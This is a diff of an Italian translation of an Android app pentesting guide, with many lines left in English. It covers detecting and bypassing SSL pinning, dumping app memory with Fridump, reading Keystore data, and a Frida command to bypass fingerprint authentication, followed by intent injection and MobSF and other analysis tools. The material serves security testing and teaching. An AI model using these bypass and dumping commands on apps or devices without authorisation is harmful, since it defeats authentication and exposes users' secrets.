- Utility open-source di static-analysis che decompila l'APK in Smali (via apktool) e scansiona pattern regex curati di implementazioni di pinning SSL/TLS.
|
||||
- Riporta il file path esatto, il numero di linea e uno snippet di codice per ogni match.
|
||||
- Copre framework comuni e code path custom: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, e pin nel Network Security Config XML.
|
||||
|
||||
Install
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
Installazione
|
||||
- Prerequisiti: Python >= 3.8, Java on PATH, apktool
|
||||
```bash
|
||||
git clone https://github.com/aancw/SSLPinDetect
|
||||
cd SSLPinDetect
|
||||
@ -456,8 +456,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
# Verbose (timings + per-match path:line + snippet)
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
Esempio di regole pattern (JSON)
|
||||
Usa o estendi signatures per rilevare stili proprietari/custom di pinning. Puoi caricare il tuo JSON e scansionare su larga scala.
|
||||
Esempio di regole di pattern (JSON)
|
||||
Usa o estendi le signatures per rilevare stili di pinning proprietari/custom. Puoi caricare il tuo JSON e eseguire scan su larga scala.
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -471,43 +471,43 @@ Usa o estendi signatures per rilevare stili proprietari/custom di pinning. Puoi
|
||||
]
|
||||
}
|
||||
```
|
||||
Note e suggerimenti
|
||||
- Scansione rapida su grandi app tramite multi-threading e memory-mapped I/O; regex pre-compilata riduce overhead/falsi positivi.
|
||||
Note e consigli
|
||||
- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives.
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Tipici target di rilevamento da esaminare subito:
|
||||
- Typical detection targets to triage next:
|
||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
||||
- Declarative pins in res/xml network security config and manifest references
|
||||
- Usa le posizioni trovate per pianificare Frida hooks, patch statiche o revisioni di config prima dei test dinamici.
|
||||
- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing.
|
||||
|
||||
|
||||
|
||||
#### Bypassare SSL Pinning
|
||||
#### Bypass SSL Pinning
|
||||
|
||||
Quando SSL Pinning è implementato, diventa necessario bypassarlo per ispezionare il traffico HTTPS. Sono disponibili varie metodologie per questo scopo:
|
||||
Quando SSL Pinning è implementato, bypassarlo diventa necessario per ispezionare il traffico HTTPS. Sono disponibili diversi metodi per questo scopo:
|
||||
|
||||
- Modificare automaticamente l'apk per bypassare SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Il vantaggio principale di questa opzione è che non avrai bisogno dei permessi di root per bypassare SSL Pinning, ma dovrai disinstallare l'applicazione e reinstallare quella modificata, e questo non funzionerà sempre.
|
||||
- Puoi usare **Frida** (discussa sotto) per bypassare questa protezione. Qui trovi una guida per usare Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Puoi anche provare a bypassare automaticamente SSL Pinning usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Puoi anche provare a bypassare automaticamente SSL Pinning usando **MobSF dynamic analysis** (spiegato sotto)
|
||||
- Se pensi ancora che ci sia traffico che non stai catturando, puoi provare a inoltrare il traffico a Burp usando iptables. Leggi questo blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work.
|
||||
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
|
||||
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Ricerca di vulnerabilità web comuni
|
||||
#### Looking for Common Web Vulnerabilities
|
||||
|
||||
È importante cercare anche vulnerabilità web comuni all'interno dell'applicazione. Informazioni dettagliate su come identificare e mitigare queste vulnerabilità esulano dal riassunto qui presente ma sono trattate estensivamente altrove.
|
||||
È importante cercare anche vulnerabilità web comuni all'interno dell'applicazione. Informazioni dettagliate sull'identificazione e la mitigazione di queste vulnerabilità sono oltre lo scopo di questo sommario ma sono ampiamente trattate altrove.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) è un toolkit di instrumentazione dinamica per sviluppatori, reverse-engineer e ricercatori di sicurezza.\
|
||||
**Puoi accedere all'applicazione in esecuzione e hookare metodi a run time per cambiare il comportamento, modificare valori, estrarre valori, eseguire codice differente...**\
|
||||
Se vuoi fare pentesting di applicazioni Android devi sapere come usare Frida.
|
||||
[Frida](https://www.frida.re) è un toolkit di strumentazione dinamica per sviluppatori, analisti di reverse engineering e ricercatori di sicurezza.\
|
||||
**Puoi accedere all'applicazione in esecuzione e hook methods on run time to change the behaviour, change values, extract values, run different code...**\
|
||||
Se vuoi fare pentest di applicazioni Android devi sapere come usare Frida.
|
||||
|
||||
- Impara a usare Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Alcune "GUI" per operazioni con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Impara come usare Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Puoi trovare alcuni Awesome Frida scripts qui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Prova a bypassare meccanismi anti-debugging / anti-frida caricando Frida come indicato in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||
|
||||
@ -515,11 +515,11 @@ Se vuoi fare pentesting di applicazioni Android devi sapere come usare Frida.
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### **Dump Memory - Fridump**
|
||||
### **Dump della memoria - Fridump**
|
||||
|
||||
Verifica se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe conservare, come password o mnemoniche.
|
||||
Controlla se l'applicazione sta memorizzando informazioni sensibili nella memoria che non dovrebbe memorizzare, come password o mnemonics.
|
||||
|
||||
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puoi eseguire il dump della memoria dell'app con:
|
||||
```bash
|
||||
# With PID
|
||||
python3 fridump3.py -u <PID>
|
||||
@ -528,35 +528,35 @@ python3 fridump3.py -u <PID>
|
||||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Questo eseguirà il dump della memoria nella cartella ./dump, e lì puoi usare grep con qualcosa come:
|
||||
Questo eseguirà il dump della memoria nella cartella ./dump, e lì puoi usare grep con qualcosa del tipo:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
### **Dati sensibili nel Keystore**
|
||||
|
||||
Su Android il Keystore è il posto migliore per conservare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **dati sensibili in chiaro**, i pentests dovrebbero controllarlo, dato che un root user o qualcuno con accesso fisico al dispositivo potrebbe riuscire a rubare questi dati.
|
||||
In Android il Keystore è il posto migliore per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **dati sensibili in chiaro**, i pentest dovrebbero verificarne la presenza in quanto un utente root o qualcuno con accesso fisico al dispositivo potrebbe essere in grado di rubare questi dati.
|
||||
|
||||
Anche se un'app memorizzasse dati nel keystore, i dati dovrebbero essere cifrati.
|
||||
Anche se un'app memorizza dati nel keystore, i dati dovrebbero essere crittografati.
|
||||
|
||||
Per accedere ai dati all'interno del keystore puoi usare questo Frida script: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
Per accedere ai dati all'interno del keystore puoi usare questo script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
Usando il seguente Frida script potrebbe essere possibile **bypass fingerprint authentication** che le applicazioni Android potrebbero eseguire per **proteggere alcune aree sensibili:**
|
||||
Usando il seguente script Frida potrebbe essere possibile **bypass fingerprint authentication** che le applicazioni Android potrebbero eseguire per **proteggere alcune aree sensibili:**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **Immagini in background**
|
||||
### **Immagini di sfondo**
|
||||
|
||||
Quando metti un'applicazione in background, Android salva un'**istantanea dell'applicazione** così quando viene riportata in primo piano inizia a caricare l'immagine prima dell'app, dando l'impressione che l'app sia stata avviata più velocemente.
|
||||
Quando metti un'applicazione in background, Android memorizza una **istantanea dell'applicazione** così quando viene riportata in primo piano inizia a caricare l'immagine prima dell'app in modo che sembri che l'app sia stata caricata più velocemente.
|
||||
|
||||
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare tali dati** (nota che è necessario avere root per accedervi).
|
||||
Tuttavia, se questa istantanea contiene **informazioni sensibili**, qualcuno con accesso all'istantanea potrebbe **rubare queste informazioni** (nota che è necessario avere i permessi di root per accedervi).
|
||||
|
||||
Le istantanee sono solitamente memorizzate in: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android fornisce un modo per **impedire la cattura di screenshot impostando il parametro di layout FLAG_SECURE**. Usando questo flag, il contenuto della finestra viene trattato come sicuro, impedendo che compaia negli screenshot o che sia visualizzato su display non sicuri.
|
||||
Android fornisce un modo per **impedire la cattura dello screenshot impostando il parametro di layout FLAG_SECURE**. Usando questo flag, il contenuto della finestra viene trattato come sicuro, impedendone l'apparizione negli screenshot o la visualizzazione su display non sicuri.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -566,82 +566,82 @@ Questo strumento può aiutarti a gestire diversi tool durante l'analisi dinamica
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Gli sviluppatori spesso creano componenti proxy come activities, services e broadcast receivers che gestiscono questi Intent e li passano a metodi come `startActivity(...)` o `sendBroadcast(...)`, il che può essere rischioso.
|
||||
Developers often create proxy components like activities, services, and broadcast receivers that handle these Intents and pass them to methods such as `startActivity(...)` or `sendBroadcast(...)`, which can be risky.
|
||||
|
||||
Il pericolo consiste nel permettere ad un attacker di attivare componenti non-exported dell'app o di accedere a content providers sensibili deviano questi Intent. Un esempio notevole è il componente `WebView` che converte URL in oggetti `Intent` tramite `Intent.parseUri(...)` e poi li esegue, potenzialmente portando a malicious Intent injections.
|
||||
Il pericolo consiste nel permettere a malintenzionati di attivare componenti dell'app non-exported o accedere a content provider sensibili deviando questi Intent. Un esempio notevole è il componente `WebView` che converte URL in oggetti `Intent` tramite `Intent.parseUri(...)` e poi li esegue, potenzialmente portando a iniezioni di Intent malevoli.
|
||||
|
||||
### Essential Takeaways
|
||||
|
||||
- **Intent Injection** è simile all'Open Redirect del web.
|
||||
- Gli exploit consistono nel passare oggetti `Intent` come extras, che possono essere reindirizzati per eseguire operazioni non sicure.
|
||||
- Può esporre componenti non-exported e content providers agli attacker.
|
||||
- **Intent Injection** è simile al problema Open Redirect del web.
|
||||
- Gli exploit comportano il passaggio di oggetti `Intent` come extras, che possono essere reindirizzati per eseguire operazioni non sicure.
|
||||
- Può esporre componenti non-exported e content provider a malintenzionati.
|
||||
- La conversione da URL a `Intent` di `WebView` può facilitare azioni non intenzionali.
|
||||
|
||||
### Android Client Side Injections and others
|
||||
### Iniezioni lato client Android e altri
|
||||
|
||||
Probabilmente conosci questo tipo di vulnerabilità dal Web. Devi prestare particolare attenzione a queste vulnerabilità in un'app Android:
|
||||
|
||||
- **SQL Injection:** Quando si gestiscono query dinamiche o Content-Providers assicurati di usare query parametrizzate.
|
||||
- **JavaScript Injection (XSS):** Verifica che il supporto a JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato di default). [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** Le WebView dovrebbero avere l'accesso al file system disabilitato (abilitato di default) - `(webview.getSettings().setAllowFileAccess(false);)`. [Maggiori informazioni qui](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: In molti casi, quando l'app Android termina la sessione il cookie non viene revocato o può essere addirittura salvato su disco
|
||||
- **JavaScript Injection (XSS):** Verifica che il supporto a JavaScript e Plugin sia disabilitato per qualsiasi WebView (disabilitato di default). [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Local File Inclusion:** I WebView dovrebbero avere l'accesso al file system disabilitato (abilitato di default) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
|
||||
- **Eternal cookies**: In diversi casi quando l'app Android termina la sessione il cookie non viene revocato o può essere persino salvato su disco
|
||||
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
---
|
||||
|
||||
## Automatic Analysis
|
||||
## Analisi automatica
|
||||
|
||||
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
|
||||
|
||||
**Static analysis**
|
||||
**Analisi statica**
|
||||
|
||||
.png>)
|
||||
|
||||
**Valutazione delle vulnerabilità dell'applicazione** tramite una comoda interfaccia web. È possibile anche eseguire analisi dinamiche (ma è necessario preparare l'ambiente).
|
||||
**Valutazione delle vulnerabilità dell'applicazione** usando una gradevole interfaccia web. Puoi anche eseguire analisi dinamica (ma devi preparare l'ambiente).
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\
|
||||
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also.
|
||||
Nota che MobSF può analizzare **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Le applicazioni Windows devono essere analizzate da un MobSF installato su un host Windows_).\
|
||||
Inoltre, se crei un file **ZIP** con il codice sorgente di un'app **Android** o **IOS** (vai nella cartella root dell'applicazione, seleziona tutto e crea un ZIPfile), sarà in grado di analizzarlo.
|
||||
|
||||
MobSF consente inoltre di **diff/Compare** le analisi e di integrare **VirusTotal** (dovrai impostare la tua API key in _MobSF/settings.py_ e abilitarla: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Puoi anche impostare `VT_UPLOAD` su `False`; in tal caso verrà **upload** solo l'**hash** invece del file.
|
||||
MobSF permette anche di fare il **diff/Compare** delle analisi e di integrare **VirusTotal** (dovrai impostare la tua API key in _MobSF/settings.py_ e abilitarla: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). Puoi anche impostare `VT_UPLOAD` a `False`, allora l'**hash** sarà **upload** invece del file.
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
### Analisi dinamica assistita con MobSF
|
||||
|
||||
MobSF può anche essere molto utile per la dynamic analysis su **Android**, ma in questo caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzionerà). _Nota: Devi **start first a VM in genymotion** e **then MobSF**._\
|
||||
Il MobSF dynamic analyser può:
|
||||
**MobSF** può essere molto utile anche per la **dynamic analysis** su **Android**, ma in quel caso dovrai installare MobSF e **genymotion** sul tuo host (una VM o Docker non funzioneranno). _Nota: Devi **start first a VM in genymotion** e **then MobSF.**_\
|
||||
Il **MobSF dynamic analyser** può:
|
||||
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Tutto questo viene fatto automaticamente eccetto per gli screenshot: devi premere quando vuoi uno screenshot oppure premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
|
||||
- Capture **HTTPS traffic**
|
||||
- Use **Frida** to obtain **runtime** **information**
|
||||
- **Dump application data** (URLs, logs, clipboard, screenshots fatte da te, screenshots fatte da "**Exported Activity Tester**", email, SQLite databases, XML files, e altri file creati). Tutto questo viene fatto automaticamente eccetto gli screenshot: per gli screenshot devi premere quando vuoi catturarne uno oppure devi premere "**Exported Activity Tester**" per ottenere screenshot di tutte le attività esportate.
|
||||
- Catturare il **HTTPS traffic**
|
||||
- Usare **Frida** per ottenere informazioni a runtime
|
||||
|
||||
From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application.
|
||||
Dalle **versioni di Android > 5**, avvierà **automaticamente Frida** e imposterà le impostazioni globali del **proxy** per catturare il traffico. Catturerà solo il traffico dell'applicazione testata.
|
||||
|
||||
**Frida**
|
||||
|
||||
Di default, utilizzerà anche alcuni Frida Scripts per **bypass SSL pinning**, **root detection** e **debugger detection** e per **monitor** API interessanti.\
|
||||
Di default userà anche alcuni Frida Scripts per **bypass SSL pinning**, **root detection** e **debugger detection** e per **monitor interesting APIs**.\
|
||||
MobSF può anche **invoke exported activities**, catturare **screenshots** di esse e **save**le per il report.
|
||||
|
||||
Per **start** il dynamic testing premi il bottone verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocazioni ai metodi hooked, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
|
||||
MobSF permette anche di caricare i tuoi **Frida scripts** (per inviare i risultati dei tuoi Frida scripts a MobSF usa la funzione `send()`). Include anche **diversi script pre-written** che puoi caricare (puoi aggiungerne altri in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), selezionali, premi "**Load**" e poi "**Start Instrumentation**" (potrai vedere i log di quegli script dentro "**Frida Live Logs**").
|
||||
Per **start** il testing dinamico premi il bottone verde: "**Start Instrumentation**". Premi "**Frida Live Logs**" per vedere i log generati dagli script Frida e "**Live API Monitor**" per vedere tutte le invocation ai metodi hooked, gli argomenti passati e i valori restituiti (questo apparirà dopo aver premuto "Start Instrumentation").\
|
||||
MobSF permette anche di caricare i tuoi **Frida scripts** (per inviare i risultati dei tuoi Frida scripts a MobSF usa la funzione `send()`). Ha anche **several pre-written scripts** che puoi caricare (puoi aggiungerne altri in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), basta **select them**, premere "**Load**" e premere "**Start Instrumentation**" (potrai vedere i log di quegli script dentro "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
|
||||
Inoltre, hai alcune funzionalità ausiliarie di Frida:
|
||||
|
||||
- **Enumerate Loaded Classes**: mostrerà tutte le classi caricate
|
||||
- **Capture Strings**: mostrerà tutte le stringhe catturate durante l'uso dell'applicazione (molto rumoroso)
|
||||
- **Capture String Comparisons**: può essere molto utile. Mostrerà le 2 stringhe confrontate e se il risultato è True o False.
|
||||
- **Enumerate Class Methods**: inserisci il nome della classe (per esempio "java.io.File") e mostrerà tutti i metodi della classe.
|
||||
- **Search Class Pattern**: cerca classi per pattern
|
||||
- **Trace Class Methods**: traccia un'intera classe (vedi input e output di tutti i metodi della classe). Ricorda che per default MobSF traccia diversi metodi Android API interessanti.
|
||||
- **Enumerate Loaded Classes**: Stamperà tutte le classi caricate
|
||||
- **Capture Strings**: Stamperà tutte le stringhe catturate mentre usi l'applicazione (molto noisy)
|
||||
- **Capture String Comparisons**: Può essere molto utile. Mostrerà le 2 stringhe confrontate e se il risultato è True o False.
|
||||
- **Enumerate Class Methods**: Inserisci il nome della classe (come "java.io.File") e stamperà tutti i metodi della classe.
|
||||
- **Search Class Pattern**: Cerca classi per pattern
|
||||
- **Trace Class Methods**: **Trace** un'intera classe (vedi input e output di tutti i metodi della classe). Ricorda che di default MobSF traccia diversi metodi interessanti delle Android Api.
|
||||
|
||||
Una volta selezionato il modulo ausiliario che vuoi usare devi premere "**Start Instrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
|
||||
Una volta selezionato il modulo ausiliario che vuoi usare devi premere "**Start Intrumentation**" e vedrai tutti gli output in "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
MobSF offre anche una shell con alcuni comandi **adb**, comandi **MobSF**, e comandi **shell** comuni in fondo alla pagina di dynamic analysis. Alcuni comandi interessanti:
|
||||
MobSF offre anche una shell con alcuni comandi **adb**, **MobSF commands**, e comuni **shell** **commands** in fondo alla pagina di dynamic analysis. Alcuni comandi interessanti:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
@ -652,32 +652,32 @@ receivers
|
||||
```
|
||||
**Strumenti HTTP**
|
||||
|
||||
Quando il traffico http viene catturato puoi vedere una vista grezza del traffico catturato nel pulsante "**HTTP(S) Traffic**" in basso oppure una vista più pulita nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **captured requests** a **proxies** come Burp o Owasp ZAP.\
|
||||
Per farlo, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> premi "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
Quando il traffico http viene catturato puoi vedere una vista brutta del traffico catturato sul pulsante "**HTTP(S) Traffic**" in basso oppure una vista più pulita nel pulsante verde "**Start HTTPTools**". Dalla seconda opzione, puoi **inviare** le **richieste catturate** a **proxies** come Burp o Owasp ZAP.\
|
||||
Per farlo, _accendi Burp -->_ _disattiva Intercept --> in MobSB HTTPTools seleziona la request_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Una volta terminata la dynamic analysis con MobSF puoi premere "**Start Web API Fuzzer**" per **fuzz http requests** e cercare vulnerabilità.
|
||||
Una volta terminata l'analisi dinamica con MobSF puoi premere su "**Start Web API Fuzzer**" per **fuzz http requests** e cercare vulnerabilità.
|
||||
|
||||
> [!TIP]
|
||||
> Dopo aver eseguito una dynamic analysis con MobSF le impostazioni del proxy potrebbero essere malconfigurate e potresti non riuscire a sistemarle dalla GUI. Puoi correggere le impostazioni del proxy eseguendo:
|
||||
> Dopo aver eseguito un'analisi dinamica con MobSF le impostazioni del proxy potrebbero essere mal configurate e potresti non riuscire a correggerle dall'interfaccia. Puoi correggere le impostazioni del proxy eseguendo:
|
||||
>
|
||||
> ```
|
||||
> adb shell settings put global http_proxy :0
|
||||
> ```
|
||||
|
||||
### Analisi Dynamic Analysis assistita con Inspeckage
|
||||
### Assisted Dynamic Analysis with Inspeckage
|
||||
|
||||
Puoi ottenere lo strumento da [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Questo tool utilizza alcuni **Hooks** per farti sapere **cosa succede nell'applicazione** mentre esegui una **dynamic analysis**.
|
||||
Questo tool utilizza alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui un'**analisi dinamica**.
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Questo è un **ottimo tool per eseguire static analysis con una GUI**
|
||||
Questo è un **ottimo strumento per eseguire analisi statica con una GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Questo tool è progettato per cercare diverse **vulnerabilità relative alla sicurezza delle applicazioni Android**, sia nel **source code** sia negli **packaged APKs**. Lo strumento è inoltre **capace di creare un "Proof-of-Concept" deployable APK** e **ADB commands**, per sfruttare alcune delle vulnerabilità trovate (Exposed activities, intents, tapjacking...). Come con Drozer, non è necessario rootare il dispositivo di test.
|
||||
Questo tool è progettato per cercare diverse **vulnerabilità delle applicazioni Android legate alla security**, sia nel **source code** sia negli **APKs** confezionati. Lo strumento è inoltre **in grado di creare un APK deployable "Proof-of-Concept"** e **ADB commands**, per sfruttare alcune delle vulnerabilità trovate (Exposed activities, intents, tapjacking...). Come con Drozer, non è necessario effettuare il root del dispositivo di test.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -686,10 +686,10 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- Visualizza tutti i file estratti per riferimento rapido
|
||||
- Decompila automaticamente i file APK in formato Java e Smali
|
||||
- Analizza AndroidManifest.xml per vulnerabilità e comportamenti comuni
|
||||
- Analisi statica del codice sorgente per vulnerabilità e comportamenti comuni
|
||||
- Mostra tutti i file estratti per un facile riferimento
|
||||
- Decompila automaticamente gli APK in formato Java e Smali
|
||||
- Analizza AndroidManifest.xml per vulnerabilità comuni e comportamento
|
||||
- Analisi statica del codice sorgente per vulnerabilità comuni e comportamento
|
||||
- Informazioni sul dispositivo
|
||||
- e altro
|
||||
```bash
|
||||
@ -697,11 +697,11 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER è un'applicazione da riga di comando utilizzabile su Windows, MacOS X e Linux, che analizza file _.apk_ alla ricerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare tali vulnerabilità.
|
||||
SUPER è un'applicazione da riga di comando utilizzabile su Windows, MacOS X e Linux, che analizza file _.apk_ alla ricerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevarle.
|
||||
|
||||
Tutte le regole sono contenute in un file `rules.json` e ogni azienda o tester può creare regole proprie per analizzare ciò di cui ha bisogno.
|
||||
Tutte le regole sono raccolte in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui ha bisogno.
|
||||
|
||||
Scarica i binari più recenti dalla [download page](https://superanalyzer.rocks/download.html)
|
||||
Scarica gli ultimi binari dalla [download page](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -709,9 +709,9 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn è uno strumento **crossplatform** che aiuta sviluppatori, bugbounty hunters e ethical hackers a eseguire [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobili.
|
||||
StaCoAn è uno strumento **multipiattaforma** che aiuta sviluppatori, bugbounty hunters e ethical hackers nello svolgimento di [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) su applicazioni mobile.
|
||||
|
||||
Il concetto è che trascini e rilasci il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e questa genererà per te un report visivo e portabile. Puoi modificare le impostazioni e le wordlists per ottenere un'esperienza personalizzata.
|
||||
